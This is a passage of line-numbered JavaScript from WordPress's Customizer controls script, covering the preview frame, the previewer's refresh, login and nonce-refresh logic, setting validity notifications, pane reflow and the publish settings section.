6242 * @param {deferredNotificationsCallback} [callback] - Function called when all supplied notifications exist.
6243 * @return {wp.customize.Notification|undefined|jQuery.promise} Notification instance or undefined (if function called with one code param),
6244 * or promise resolving to requested notifications.
6245 *
6246 * @example <caption>Check if existing notification</caption>
6247 * exists = wp.customize.notifications.has( 'a_new_day_arrived' );
6248 *
6249 * @example <caption>Obtain existing notification</caption>
6250 * notification = wp.customize.notifications( 'a_new_day_arrived' );
6251 *
6252 * @example <caption>Obtain notification that may not exist yet.</caption>
6253 * wp.customize.notifications( 'a_new_day_arrived', function( notification ) { ... } );
6254 *
6255 * @example <caption>Add a warning notification.</caption>
6256 * wp.customize.notifications.add( new wp.customize.Notification( 'midnight_almost_here', {
6257 * type: 'warning',
6258 * message: 'Midnight has almost arrived!',
6259 * dismissible: true
6260 * } ) );
6261 *
6262 * @example <caption>Remove a notification.</caption>
6263 * wp.customize.notifications.remove( 'a_new_day_arrived' );
6264 *
6265 * @see {@link wp.customize.control} for further examples of how to interact with {@link wp.customize.Values} instances.
6266 */
6267 api.notifications = new api.Notifications();
6268
6269 api.PreviewFrame = api.Messenger.extend(/** @lends wp.customize.PreviewFrame.prototype */{
6270 sensitivity: null, // Will get set to api.settings.timeouts.previewFrameSensitivity.
6271
6272 /**
6273 * An object that fetches a preview in the background of the document, which
6274 * allows for seamless replacement of an existing preview.
6275 *
6276 * @constructs wp.customize.PreviewFrame
6277 * @augments wp.customize.Messenger
6278 *
6279 * @param {Object} params.container
6280 * @param {Object} params.previewUrl
6281 * @param {Object} params.query
6282 * @param {Object} options
6283 */
6284 initialize: function( params, options ) {
6285 var deferred = $.Deferred();
6286
6287 /*
6288 * Make the instance of the PreviewFrame the promise object
6289 * so other objects can easily interact with it.
6290 */
6291 deferred.promise( this );
6292
6293 this.container = params.container;
6294
6295 $.extend( params, { channel: api.PreviewFrame.uuid() });
6296
6297 api.Messenger.prototype.initialize.call( this, params, options );
6298
6299 this.add( 'previewUrl', params.previewUrl );
6300
6301 this.query = $.extend( params.query || {}, { customize_messenger_channel: this.channel() });
6302
6303 this.run( deferred );
6304 },
6305
6306 /**
6307 * Run the preview request.
6308 *
6309 * @param {Object} deferred jQuery Deferred object to be resolved with
6310 * the request.
6311 */
6312 run: function( deferred ) {
6313 var previewFrame = this,
6314 loaded = false,
6315 ready = false,
6316 readyData = null,
6317 hasPendingChangesetUpdate = '{}' !== previewFrame.query.customized,
6318 urlParser,
6319 params,
6320 form;
6321
6322 if ( previewFrame._ready ) {
6323 previewFrame.unbind( 'ready', previewFrame._ready );
6324 }
6325
6326 previewFrame._ready = function( data ) {
6327 ready = true;
6328 readyData = data;
6329 previewFrame.container.addClass( 'iframe-ready' );
6330 if ( ! data ) {
6331 return;
6332 }
6333
6334 if ( loaded ) {
6335 deferred.resolveWith( previewFrame, [ data ] );
6336 }
6337 };
6338
6339 previewFrame.bind( 'ready', previewFrame._ready );
6340
6341 urlParser = document.createElement( 'a' );
6342 urlParser.href = previewFrame.previewUrl();
6343
6344 params = _.extend(
6345 api.utils.parseQueryString( urlParser.search.substr( 1 ) ),
6346 {
6347 customize_changeset_uuid: previewFrame.query.customize_changeset_uuid,
6348 customize_theme: previewFrame.query.customize_theme,
6349 customize_messenger_channel: previewFrame.query.customize_messenger_channel
6350 }
6351 );
6352 if ( api.settings.changeset.autosaved || ! api.state( 'saved' ).get() ) {
6353 params.customize_autosaved = 'on';
6354 }
6355
6356 urlParser.search = $.param( params );
6357 previewFrame.iframe = $( '<iframe />', {
6358 title: api.l10n.previewIframeTitle,
6359 name: 'customize-' + previewFrame.channel()
6360 } );
6361 previewFrame.iframe.attr( 'onmousewheel', '' ); // Workaround for Safari bug. See WP Trac #38149.
6362 previewFrame.iframe.attr( 'sandbox', 'allow-forms allow-modals allow-orientation-lock allow-pointer-lock allow-popups allow-popups-to-escape-sandbox allow-presentation allow-same-origin allow-scripts' );
6363
6364 if ( ! hasPendingChangesetUpdate ) {
6365 previewFrame.iframe.attr( 'src', urlParser.href );
6366 } else {
6367 previewFrame.iframe.attr( 'data-src', urlParser.href ); // For debugging purposes.
6368 }
6369
6370 previewFrame.iframe.appendTo( previewFrame.container );
6371 previewFrame.targetWindow( previewFrame.iframe[0].contentWindow );
6372
6373 /*
6374 * Submit customized data in POST request to preview frame window since
6375 * there are setting value changes not yet written to changeset.
6376 */
6377 if ( hasPendingChangesetUpdate ) {
6378 form = $( '<form>', {
6379 action: urlParser.href,
6380 target: previewFrame.iframe.attr( 'name' ),
6381 method: 'post',
6382 hidden: 'hidden'
6383 } );
6384 form.append( $( '<input>', {
6385 type: 'hidden',
6386 name: '_method',
6387 value: 'GET'
6388 } ) );
6389 _.each( previewFrame.query, function( value, key ) {
6390 form.append( $( '<input>', {
6391 type: 'hidden',
6392 name: key,
6393 value: value
6394 } ) );
6395 } );
6396 previewFrame.container.append( form );
6397 form.trigger( 'submit' );
6398 form.remove(); // No need to keep the form around after submitted.
6399 }
6400
6401 previewFrame.bind( 'iframe-loading-error', function( error ) {
6402 previewFrame.iframe.remove();
6403
6404 // Check if the user is not logged in.
6405 if ( 0 === error ) {
6406 previewFrame.login( deferred );
6407 return;
6408 }
6409
6410 // Check for cheaters.
6411 if ( -1 === error ) {
6412 deferred.rejectWith( previewFrame, [ 'cheatin' ] );
6413 return;
6414 }
6415
6416 deferred.rejectWith( previewFrame, [ 'request failure' ] );
6417 } );
6418
6419 previewFrame.iframe.one( 'load', function() {
6420 loaded = true;
6421
6422 if ( ready ) {
6423 deferred.resolveWith( previewFrame, [ readyData ] );
6424 } else {
6425 setTimeout( function() {
6426 deferred.rejectWith( previewFrame, [ 'ready timeout' ] );
6427 }, previewFrame.sensitivity );
6428 }
6429 });
6430 },
6431
6432 login: function( deferred ) {
6433 var self = this,
6434 reject;
6435
6436 reject = function() {
6437 deferred.rejectWith( self, [ 'logged out' ] );
6438 };
6439
6440 if ( this.triedLogin ) {
6441 return reject();
6442 }
6443
6444 // Check if we have an admin cookie.
6445 $.get( api.settings.url.ajax, {
6446 action: 'logged-in'
6447 }).fail( reject ).done( function( response ) {
6448 var iframe;
6449
6450 if ( '1' !== response ) {
6451 reject();
6452 }
6453
6454 iframe = $( '<iframe />', { 'src': self.previewUrl(), 'title': api.l10n.previewIframeTitle } ).hide();
6455 iframe.appendTo( self.container );
6456 iframe.on( 'load', function() {
6457 self.triedLogin = true;
6458
6459 iframe.remove();
6460 self.run( deferred );
6461 });
6462 });
6463 },
6464
6465 destroy: function() {
6466 api.Messenger.prototype.destroy.call( this );
6467
6468 if ( this.iframe ) {
6469 this.iframe.remove();
6470 }
6471
6472 delete this.iframe;
6473 delete this.targetWindow;
6474 }
6475 });
6476
6477 (function(){
6478 var id = 0;
6479 /**
6480 * Return an incremented ID for a preview messenger channel.
6481 *
6482 * This function is named "uuid" for historical reasons, but it is a
6483 * misnomer as it is not an actual UUID, and it is not universally unique.
6484 * This is not to be confused with `api.settings.changeset.uuid`.
6485 *
6486 * @return {string}
6487 */
6488 api.PreviewFrame.uuid = function() {
6489 return 'preview-' + String( id++ );
6490 };
6491 }());
6492
6493 /**
6494 * Set the document title of the customizer.
6495 *
6496 * @alias wp.customize.setDocumentTitle
6497 *
6498 * @since 4.1.0
6499 *
6500 * @param {string} documentTitle
6501 */
6502 api.setDocumentTitle = function ( documentTitle ) {
6503 var tmpl, title;
6504 tmpl = api.settings.documentTitleTmpl;
6505 title = tmpl.replace( '%s', documentTitle );
6506 document.title = title;
6507 api.trigger( 'title', title );
6508 };
6509
6510 api.Previewer = api.Messenger.extend(/** @lends wp.customize.Previewer.prototype */{
6511 refreshBuffer: null, // Will get set to api.settings.timeouts.windowRefresh.
6512
6513 /**
6514 * @constructs wp.customize.Previewer
6515 * @augments wp.customize.Messenger
6516 *
6517 * @param {Array} params.allowedUrls
6518 * @param {string} params.container A selector or jQuery element for the preview
6519 * frame to be placed.
6520 * @param {string} params.form
6521 * @param {string} params.previewUrl The URL to preview.
6522 * @param {Object} options
6523 */
6524 initialize: function( params, options ) {
6525 var previewer = this,
6526 urlParser = document.createElement( 'a' );
6527
6528 $.extend( previewer, options || {} );
6529 previewer.deferred = {
6530 active: $.Deferred()
6531 };
6532
6533 // Debounce to prevent hammering server and then wait for any pending update requests.
6534 previewer.refresh = _.debounce(
6535 ( function( originalRefresh ) {
6536 return function() {
6537 var isProcessingComplete, refreshOnceProcessingComplete;
6538 isProcessingComplete = function() {
6539 return 0 === api.state( 'processing' ).get();
6540 };
6541 if ( isProcessingComplete() ) {
6542 originalRefresh.call( previewer );
6543 } else {
6544 refreshOnceProcessingComplete = function() {
6545 if ( isProcessingComplete() ) {
6546 originalRefresh.call( previewer );
6547 api.state( 'processing' ).unbind( refreshOnceProcessingComplete );
6548 }
6549 };
6550 api.state( 'processing' ).bind( refreshOnceProcessingComplete );
6551 }
6552 };
6553 }( previewer.refresh ) ),
6554 previewer.refreshBuffer
6555 );
6556
6557 previewer.container = api.ensure( params.container );
6558 previewer.allowedUrls = params.allowedUrls;
6559
6560 params.url = window.location.href;
6561
6562 api.Messenger.prototype.initialize.call( previewer, params );
6563
6564 urlParser.href = previewer.origin();
6565 previewer.add( 'scheme', urlParser.protocol.replace( /:$/, '' ) );
6566
6567 /*
6568 * Limit the URL to internal, front-end links.
6569 *
6570 * If the front end and the admin are served from the same domain, load the
6571 * preview over ssl if the Customizer is being loaded over ssl. This avoids
6572 * insecure content warnings. This is not attempted if the admin and front end
6573 * are on different domains to avoid the case where the front end doesn't have
6574 * ssl certs.
6575 */
6576
6577 previewer.add( 'previewUrl', params.previewUrl ).setter( function( to ) {
6578 var result = null, urlParser, queryParams, parsedAllowedUrl, parsedCandidateUrls = [];
6579 urlParser = document.createElement( 'a' );
6580 urlParser.href = to;
6581
6582 // Abort if URL is for admin or (static) files in wp-includes or wp-content.
6583 if ( /\/wp-(admin|includes|content)(\/|$)/.test( urlParser.pathname ) ) {
6584 return null;
6585 }
6586
6587 // Remove state query params.
6588 if ( urlParser.search.length > 1 ) {
6589 queryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) );
6590 delete queryParams.customize_changeset_uuid;
6591 delete queryParams.customize_theme;
6592 delete queryParams.customize_messenger_channel;
6593 delete queryParams.customize_autosaved;
6594 if ( _.isEmpty( queryParams ) ) {
6595 urlParser.search = '';
6596 } else {
6597 urlParser.search = $.param( queryParams );
6598 }
6599 }
6600
6601 parsedCandidateUrls.push( urlParser );
6602
6603 // Prepend list with URL that matches the scheme/protocol of the iframe.
6604 if ( previewer.scheme.get() + ':' !== urlParser.protocol ) {
6605 urlParser = document.createElement( 'a' );
6606 urlParser.href = parsedCandidateUrls[0].href;
6607 urlParser.protocol = previewer.scheme.get() + ':';
6608 parsedCandidateUrls.unshift( urlParser );
6609 }
6610
6611 // Attempt to match the URL to the control frame's scheme and check if it's allowed. If not, try the original URL.
6612 parsedAllowedUrl = document.createElement( 'a' );
6613 _.find( parsedCandidateUrls, function( parsedCandidateUrl ) {
6614 return ! _.isUndefined( _.find( previewer.allowedUrls, function( allowedUrl ) {
6615 parsedAllowedUrl.href = allowedUrl;
6616 if ( urlParser.protocol === parsedAllowedUrl.protocol && urlParser.host === parsedAllowedUrl.host && 0 === urlParser.pathname.indexOf( parsedAllowedUrl.pathname.replace( /\/$/, '' ) ) ) {
6617 result = parsedCandidateUrl.href;
6618 return true;
6619 }
6620 } ) );
6621 } );
6622
6623 return result;
6624 });
6625
6626 previewer.bind( 'ready', previewer.ready );
6627
6628 // Start listening for keep-alive messages when iframe first loads.
6629 previewer.deferred.active.done( _.bind( previewer.keepPreviewAlive, previewer ) );
6630
6631 previewer.bind( 'synced', function() {
6632 previewer.send( 'active' );
6633 } );
6634
6635 // Refresh the preview when the URL is changed (but not yet).
6636 previewer.previewUrl.bind( previewer.refresh );
6637
6638 previewer.scroll = 0;
6639 previewer.bind( 'scroll', function( distance ) {
6640 previewer.scroll = distance;
6641 });
6642
6643 // Update the URL when the iframe sends a URL message, resetting scroll position. If URL is unchanged, then refresh.
6644 previewer.bind( 'url', function( url ) {
6645 var onUrlChange, urlChanged = false;
6646 previewer.scroll = 0;
6647 onUrlChange = function() {
6648 urlChanged = true;
6649 };
6650 previewer.previewUrl.bind( onUrlChange );
6651 previewer.previewUrl.set( url );
6652 previewer.previewUrl.unbind( onUrlChange );
6653 if ( ! urlChanged ) {
6654 previewer.refresh();
6655 }
6656 } );
6657
6658 // Update the document title when the preview changes.
6659 previewer.bind( 'documentTitle', function ( title ) {
6660 api.setDocumentTitle( title );
6661 } );
6662 },
6663
6664 /**
6665 * Handle the preview receiving the ready message.
6666 *
6667 * @since 4.7.0
6668 * @access public
6669 *
6670 * @param {Object} data - Data from preview.
6671 * @param {string} data.currentUrl - Current URL.
6672 * @param {Object} data.activePanels - Active panels.
6673 * @param {Object} data.activeSections Active sections.
6674 * @param {Object} data.activeControls Active controls.
6675 * @return {void}
6676 */
6677 ready: function( data ) {
6678 var previewer = this, synced = {}, constructs;
6679
6680 synced.settings = api.get();
6681 synced['settings-modified-while-loading'] = previewer.settingsModifiedWhileLoading;
6682 if ( 'resolved' !== previewer.deferred.active.state() || previewer.loading ) {
6683 synced.scroll = previewer.scroll;
6684 }
6685 synced['edit-shortcut-visibility'] = api.state( 'editShortcutVisibility' ).get();
6686 previewer.send( 'sync', synced );
6687
6688 // Set the previewUrl without causing the url to set the iframe.
6689 if ( data.currentUrl ) {
6690 previewer.previewUrl.unbind( previewer.refresh );
6691 previewer.previewUrl.set( data.currentUrl );
6692 previewer.previewUrl.bind( previewer.refresh );
6693 }
6694
6695 /*
6696 * Walk over all panels, sections, and controls and set their
6697 * respective active states to true if the preview explicitly
6698 * indicates as such.
6699 */
6700 constructs = {
6701 panel: data.activePanels,
6702 section: data.activeSections,
6703 control: data.activeControls
6704 };
6705 _( constructs ).each( function ( activeConstructs, type ) {
6706 api[ type ].each( function ( construct, id ) {
6707 var isDynamicallyCreated = _.isUndefined( api.settings[ type + 's' ][ id ] );
6708
6709 /*
6710 * If the construct was created statically in PHP (not dynamically in JS)
6711 * then consider a missing (undefined) value in the activeConstructs to
6712 * mean it should be deactivated (since it is gone). But if it is
6713 * dynamically created then only toggle activation if the value is defined,
6714 * as this means that the construct was also then correspondingly
6715 * created statically in PHP and the active callback is available.
6716 * Otherwise, dynamically-created constructs should normally have
6717 * their active states toggled in JS rather than from PHP.
6718 */
6719 if ( ! isDynamicallyCreated || ! _.isUndefined( activeConstructs[ id ] ) ) {
6720 if ( activeConstructs[ id ] ) {
6721 construct.activate();
6722 } else {
6723 construct.deactivate();
6724 }
6725 }
6726 } );
6727 } );
6728
6729 if ( data.settingValidities ) {
6730 api._handleSettingValidities( {
6731 settingValidities: data.settingValidities,
6732 focusInvalidControl: false
6733 } );
6734 }
6735 },
6736
6737 /**
6738 * Keep the preview alive by listening for ready and keep-alive messages.
6739 *
6740 * If a message is not received in the allotted time then the iframe will be set back to the last known valid URL.
6741 *
6742 * @since 4.7.0
6743 * @access public
6744 *
6745 * @return {void}
6746 */
6747 keepPreviewAlive: function keepPreviewAlive() {
6748 var previewer = this, keepAliveTick, timeoutId, handleMissingKeepAlive, scheduleKeepAliveCheck;
6749
6750 /**
6751 * Schedule a preview keep-alive check.
6752 *
6753 * Note that if a page load takes longer than keepAliveCheck milliseconds,
6754 * the keep-alive messages will still be getting sent from the previous
6755 * URL.
6756 */
6757 scheduleKeepAliveCheck = function() {
6758 timeoutId = setTimeout( handleMissingKeepAlive, api.settings.timeouts.keepAliveCheck );
6759 };
6760
6761 /**
6762 * Set the previewerAlive state to true when receiving a message from the preview.
6763 */
6764 keepAliveTick = function() {
6765 api.state( 'previewerAlive' ).set( true );
6766 clearTimeout( timeoutId );
6767 scheduleKeepAliveCheck();
6768 };
6769
6770 /**
6771 * Set the previewerAlive state to false if keepAliveCheck milliseconds have transpired without a message.
6772 *
6773 * This is most likely to happen in the case of a connectivity error, or if the theme causes the browser
6774 * to navigate to a non-allowed URL. Setting this state to false will force settings with a postMessage
6775 * transport to use refresh instead, causing the preview frame also to be replaced with the current
6776 * allowed preview URL.
6777 */
6778 handleMissingKeepAlive = function() {
6779 api.state( 'previewerAlive' ).set( false );
6780 };
6781 scheduleKeepAliveCheck();
6782
6783 previewer.bind( 'ready', keepAliveTick );
6784 previewer.bind( 'keep-alive', keepAliveTick );
6785 },
6786
6787 /**
6788 * Query string data sent with each preview request.
6789 *
6790 * @abstract
6791 */
6792 query: function() {},
6793
6794 abort: function() {
6795 if ( this.loading ) {
6796 this.loading.destroy();
6797 delete this.loading;
6798 }
6799 },
6800
6801 /**
6802 * Refresh the preview seamlessly.
6803 *
6804 * @since 3.4.0
6805 * @access public
6806 *
6807 * @return {void}
6808 */
6809 refresh: function() {
6810 var previewer = this, onSettingChange;
6811
6812 // Display loading indicator.
6813 previewer.send( 'loading-initiated' );
6814
6815 previewer.abort();
6816
6817 previewer.loading = new api.PreviewFrame({
6818 url: previewer.url(),
6819 previewUrl: previewer.previewUrl(),
6820 query: previewer.query( { excludeCustomizedSaved: true } ) || {},
6821 container: previewer.container
6822 });
6823
6824 previewer.settingsModifiedWhileLoading = {};
6825 onSettingChange = function( setting ) {
6826 previewer.settingsModifiedWhileLoading[ setting.id ] = true;
6827 };
6828 api.bind( 'change', onSettingChange );
6829 previewer.loading.always( function() {
6830 api.unbind( 'change', onSettingChange );
6831 } );
6832
6833 previewer.loading.done( function( readyData ) {
6834 var loadingFrame = this, onceSynced;
6835
6836 previewer.preview = loadingFrame;
6837 previewer.targetWindow( loadingFrame.targetWindow() );
6838 previewer.channel( loadingFrame.channel() );
6839
6840 onceSynced = function() {
6841 loadingFrame.unbind( 'synced', onceSynced );
6842 if ( previewer._previousPreview ) {
6843 previewer._previousPreview.destroy();
6844 }
6845 previewer._previousPreview = previewer.preview;
6846 previewer.deferred.active.resolve();
6847 delete previewer.loading;
6848 };
6849 loadingFrame.bind( 'synced', onceSynced );
6850
6851 // This event will be received directly by the previewer in normal navigation; this is only needed for seamless refresh.
6852 previewer.trigger( 'ready', readyData );
6853 });
6854
6855 previewer.loading.fail( function( reason ) {
6856 previewer.send( 'loading-failed' );
6857
6858 if ( 'logged out' === reason ) {
6859 if ( previewer.preview ) {
6860 previewer.preview.destroy();
6861 delete previewer.preview;
6862 }
6863
6864 previewer.login().done( previewer.refresh );
6865 }
6866
6867 if ( 'cheatin' === reason ) {
6868 previewer.cheatin();
6869 }
6870 });
6871 },
6872
6873 login: function() {
6874 var previewer = this,
6875 deferred, messenger, iframe;
6876
6877 if ( this._login ) {
6878 return this._login;
6879 }
6880
6881 deferred = $.Deferred();
6882 this._login = deferred.promise();
6883
6884 messenger = new api.Messenger({
6885 channel: 'login',
6886 url: api.settings.url.login
6887 });
6888
6889 iframe = $( '<iframe />', { 'src': api.settings.url.login, 'title': api.l10n.loginIframeTitle } ).appendTo( this.container );
6890
6891 messenger.targetWindow( iframe[0].contentWindow );
6892
6893 messenger.bind( 'login', function () {
6894 var refreshNonces = previewer.refreshNonces();
6895
6896 refreshNonces.always( function() {
6897 iframe.remove();
6898 messenger.destroy();
6899 delete previewer._login;
6900 });
6901
6902 refreshNonces.done( function() {
6903 deferred.resolve();
6904 });
6905
6906 refreshNonces.fail( function() {
6907 previewer.cheatin();
6908 deferred.reject();
6909 });
6910 });
6911
6912 return this._login;
6913 },
6914
6915 cheatin: function() {
6916 $( document.body ).empty().addClass( 'cheatin' ).append(
6917 '<h1>' + api.l10n.notAllowedHeading + '</h1>' +
6918 '<p>' + api.l10n.notAllowed + '</p>'
6919 );
6920 },
6921
6922 refreshNonces: function() {
6923 var request, deferred = $.Deferred();
6924
6925 deferred.promise();
6926
6927 request = wp.ajax.post( 'customize_refresh_nonces', {
6928 wp_customize: 'on',
6929 customize_theme: api.settings.theme.stylesheet
6930 });
6931
6932 request.done( function( response ) {
6933 api.trigger( 'nonce-refresh', response );
6934 deferred.resolve();
6935 });
6936
6937 request.fail( function() {
6938 deferred.reject();
6939 });
6940
6941 return deferred;
6942 }
6943 });
6944
6945 api.settingConstructor = {};
6946 api.controlConstructor = {
6947 color: api.ColorControl,
6948 media: api.MediaControl,
6949 upload: api.UploadControl,
6950 image: api.ImageControl,
6951 cropped_image: api.CroppedImageControl,
6952 site_icon: api.SiteIconControl,
6953 header: api.HeaderControl,
6954 background: api.BackgroundControl,
6955 background_position: api.BackgroundPositionControl,
6956 theme: api.ThemeControl,
6957 date_time: api.DateTimeControl,
6958 code_editor: api.CodeEditorControl
6959 };
6960 api.panelConstructor = {
6961 themes: api.ThemesPanel
6962 };
6963 api.sectionConstructor = {
6964 themes: api.ThemesSection,
6965 outer: api.OuterSection
6966 };
6967
6968 /**
6969 * Handle setting_validities in an error response for the customize-save request.
6970 *
6971 * Add notifications to the settings and focus on the first control that has an invalid setting.
6972 *
6973 * @alias wp.customize._handleSettingValidities
6974 *
6975 * @since 4.6.0
6976 * @private
6977 *
6978 * @param {Object} args
6979 * @param {Object} args.settingValidities
6980 * @param {boolean} [args.focusInvalidControl=false]
6981 * @return {void}
6982 */
6983 api._handleSettingValidities = function handleSettingValidities( args ) {
6984 var invalidSettingControls, invalidSettings = [], wasFocused = false;
6985
6986 // Find the controls that correspond to each invalid setting.
6987 _.each( args.settingValidities, function( validity, settingId ) {
6988 var setting = api( settingId );
6989 if ( setting ) {
6990
6991 // Add notifications for invalidities.
6992 if ( _.isObject( validity ) ) {
6993 _.each( validity, function( params, code ) {
6994 var notification, existingNotification, needsReplacement = false;
6995 notification = new api.Notification( code, _.extend( { fromServer: true }, params ) );
6996
6997 // Remove existing notification if already exists for code but differs in parameters.
6998 existingNotification = setting.notifications( notification.code );
6999 if ( existingNotification ) {
7000 needsReplacement = notification.type !== existingNotification.type || notification.message !== existingNotification.message || ! _.isEqual( notification.data, existingNotification.data );
7001 }
7002 if ( needsReplacement ) {
7003 setting.notifications.remove( code );
7004 }
7005
7006 if ( ! setting.notifications.has( notification.code ) ) {
7007 setting.notifications.add( notification );
7008 }
7009 invalidSettings.push( setting.id );
7010 } );
7011 }
7012
7013 // Remove notification errors that are no longer valid.
7014 setting.notifications.each( function( notification ) {
7015 if ( notification.fromServer && 'error' === notification.type && ( true === validity || ! validity[ notification.code ] ) ) {
7016 setting.notifications.remove( notification.code );
7017 }
7018 } );
7019 }
7020 } );
7021
7022 if ( args.focusInvalidControl ) {
7023 invalidSettingControls = api.findControlsForSettings( invalidSettings );
7024
7025 // Focus on the first control that is inside of an expanded section (one that is visible).
7026 _( _.values( invalidSettingControls ) ).find( function( controls ) {
7027 return _( controls ).find( function( control ) {
7028 var isExpanded = control.section() && api.section.has( control.section() ) && api.section( control.section() ).expanded();
7029 if ( isExpanded && control.expanded ) {
7030 isExpanded = control.expanded();
7031 }
7032 if ( isExpanded ) {
7033 control.focus();
7034 wasFocused = true;
7035 }
7036 return wasFocused;
7037 } );
7038 } );
7039
7040 // Focus on the first invalid control.
7041 if ( ! wasFocused && ! _.isEmpty( invalidSettingControls ) ) {
7042 _.values( invalidSettingControls )[0][0].focus();
7043 }
7044 }
7045 };
7046
7047 /**
7048 * Find all controls associated with the given settings.
7049 *
7050 * @alias wp.customize.findControlsForSettings
7051 *
7052 * @since 4.6.0
7053 * @param {string[]} settingIds Setting IDs.
7054 * @return {Object<string, wp.customize.Control>} Mapping setting ids to arrays of controls.
7055 */
7056 api.findControlsForSettings = function findControlsForSettings( settingIds ) {
7057 var controls = {}, settingControls;
7058 _.each( _.unique( settingIds ), function( settingId ) {
7059 var setting = api( settingId );
7060 if ( setting ) {
7061 settingControls = setting.findControls();
7062 if ( settingControls && settingControls.length > 0 ) {
7063 controls[ settingId ] = settingControls;
7064 }
7065 }
7066 } );
7067 return controls;
7068 };
7069
7070 /**
7071 * Sort panels, sections, controls by priorities. Hide empty sections and panels.
7072 *
7073 * @alias wp.customize.reflowPaneContents
7074 *
7075 * @since 4.1.0
7076 */
7077 api.reflowPaneContents = _.bind( function () {
7078
7079 var appendContainer, activeElement, rootHeadContainers, rootNodes = [], wasReflowed = false;
7080
7081 if ( document.activeElement ) {
7082 activeElement = $( document.activeElement );
7083 }
7084
7085 // Sort the sections within each panel.
7086 api.panel.each( function ( panel ) {
7087 if ( 'themes' === panel.id ) {
7088 return; // Don't reflow theme sections, as doing so moves them after the themes container.
7089 }
7090
7091 var sections = panel.sections(),
7092 sectionHeadContainers = _.pluck( sections, 'headContainer' );
7093 rootNodes.push( panel );
7094 appendContainer = ( panel.contentContainer.is( 'ul' ) ) ? panel.contentContainer : panel.contentContainer.find( 'ul:first' );
7095 if ( ! api.utils.areElementListsEqual( sectionHeadContainers, appendContainer.children( '[id]' ) ) ) {
7096 _( sections ).each( function ( section ) {
7097 appendContainer.append( section.headContainer );
7098 } );
7099 wasReflowed = true;
7100 }
7101 } );
7102
7103 // Sort the controls within each section.
7104 api.section.each( function ( section ) {
7105 var controls = section.controls(),
7106 controlContainers = _.pluck( controls, 'container' );
7107 if ( ! section.panel() ) {
7108 rootNodes.push( section );
7109 }
7110 appendContainer = ( section.contentContainer.is( 'ul' ) ) ? section.contentContainer : section.contentContainer.find( 'ul:first' );
7111 if ( ! api.utils.areElementListsEqual( controlContainers, appendContainer.children( '[id]' ) ) ) {
7112 _( controls ).each( function ( control ) {
7113 appendContainer.append( control.container );
7114 } );
7115 wasReflowed = true;
7116 }
7117 } );
7118
7119 // Sort the root panels and sections.
7120 rootNodes.sort( api.utils.prioritySort );
7121 rootHeadContainers = _.pluck( rootNodes, 'headContainer' );
7122 appendContainer = $( '#customize-theme-controls .customize-pane-parent' ); // @todo This should be defined elsewhere, and to be configurable.
7123 if ( ! api.utils.areElementListsEqual( rootHeadContainers, appendContainer.children() ) ) {
7124 _( rootNodes ).each( function ( rootNode ) {
7125 appendContainer.append( rootNode.headContainer );
7126 } );
7127 wasReflowed = true;
7128 }
7129
7130 // Now re-trigger the active Value callbacks so that the panels and sections can decide whether they can be rendered.
7131 api.panel.each( function ( panel ) {
7132 var value = panel.active();
7133 panel.active.callbacks.fireWith( panel.active, [ value, value ] );
7134 } );
7135 api.section.each( function ( section ) {
7136 var value = section.active();
7137 section.active.callbacks.fireWith( section.active, [ value, value ] );
7138 } );
7139
7140 // Restore focus if there was a reflow and there was an active (focused) element.
7141 if ( wasReflowed && activeElement ) {
7142 activeElement.trigger( 'focus' );
7143 }
7144 api.trigger( 'pane-contents-reflowed' );
7145 }, api );
7146
7147 // Define state values.
7148 api.state = new api.Values();
7149 _.each( [
7150 'saved',
7151 'saving',
7152 'trashing',
7153 'activated',
7154 'processing',
7155 'paneVisible',
7156 'expandedPanel',
7157 'expandedSection',
7158 'changesetDate',
7159 'selectedChangesetDate',
7160 'changesetStatus',
7161 'selectedChangesetStatus',
7162 'remainingTimeToPublish',
7163 'previewerAlive',
7164 'editShortcutVisibility',
7165 'changesetLocked',
7166 'previewedDevice'
7167 ], function( name ) {
7168 api.state.create( name );
7169 });
7170
7171 $( function() {
7172 api.settings = window._wpCustomizeSettings;
7173 api.l10n = window._wpCustomizeControlsL10n;
7174
7175 // Check if we can run the Customizer.
7176 if ( ! api.settings ) {
7177 return;
7178 }
7179
7180 // Bail if any incompatibilities are found.
7181 if ( ! $.support.postMessage || ( ! $.support.cors && api.settings.isCrossDomain ) ) {
7182 return;
7183 }
7184
7185 if ( null === api.PreviewFrame.prototype.sensitivity ) {
7186 api.PreviewFrame.prototype.sensitivity = api.settings.timeouts.previewFrameSensitivity;
7187 }
7188 if ( null === api.Previewer.prototype.refreshBuffer ) {
7189 api.Previewer.prototype.refreshBuffer = api.settings.timeouts.windowRefresh;
7190 }
7191
7192 var parent,
7193 body = $( document.body ),
7194 overlay = body.children( '.wp-full-overlay' ),
7195 title = $( '#customize-info .panel-title.site-title' ),
7196 closeBtn = $( '.customize-controls-close' ),
7197 saveBtn = $( '#save' ),
7198 btnWrapper = $( '#customize-save-button-wrapper' ),
7199 publishSettingsBtn = $( '#publish-settings' ),
7200 footerActions = $( '#customize-footer-actions' );
7201
7202 // Add publish settings section in JS instead of PHP since the Customizer depends on it to function.
7203 api.bind( 'ready', function() {
7204 api.section.add( new api.OuterSection( 'publish_settings', {
7205 title: api.l10n.publishSettings,
7206 priority: 0,
7207 active: api.settings.theme.active
7208 } ) );
7209 } );
7210
7211 // Set up publish settings section and its controls.
7212 api.section( 'publish_settings', function( section ) {
7213 var updateButtonsState, trashControl, updateSectionActive, isSectionActive, statusControl, dateControl, toggleDateControl, publishWhenTime, pollInterval, updateTimeArrivedPoller, cancelScheduleButtonReminder, timeArrivedPollingInterval = 1000;
7214
7215 trashControl = new api.Control( 'trash_changeset', {
7216 type: 'button',
7217 section: section.id,
7218 priority: 30,
7219 input_attrs: {
7220 'class': 'button-link button-link-delete',
7221 value: api.l10n.discardChanges
7222 }
7223 } );
7224 api.control.add( trashControl );
7225 trashControl.deferred.embedded.done( function() {
7226 trashControl.container.find( '.button-link' ).on( 'click', function() {
7227 if ( confirm( api.l10n.trashConfirm ) ) {
7228 wp.customize.previewer.trash();
7229 }
7230 } );
7231 } );
7232
7233 api.control.add( new api.PreviewLinkControl( 'changeset_preview_link', {
7234 section: section.id,
7235 priority: 100
7236 } ) );
7237
7238 /**
7239 * Return whether the publish settings section should be active.
7240 *
7241 * @return {boolean} Is section active.
7242 */
7243 isSectionActive = function() {
7244 if ( ! api.state( 'activated' ).get() ) {
7245 return false;
7246 }
7247 if ( api.state( 'trashing' ).get() || 'trash' === api.state( 'changesetStatus' ).get() ) {
7248 return false;
7249 }
7250 if ( '' === api.state( 'changesetStatus' ).get() && api.state( 'saved' ).get() ) {
7251 return false;
7252 }
7253 return true;
7254 };
7255
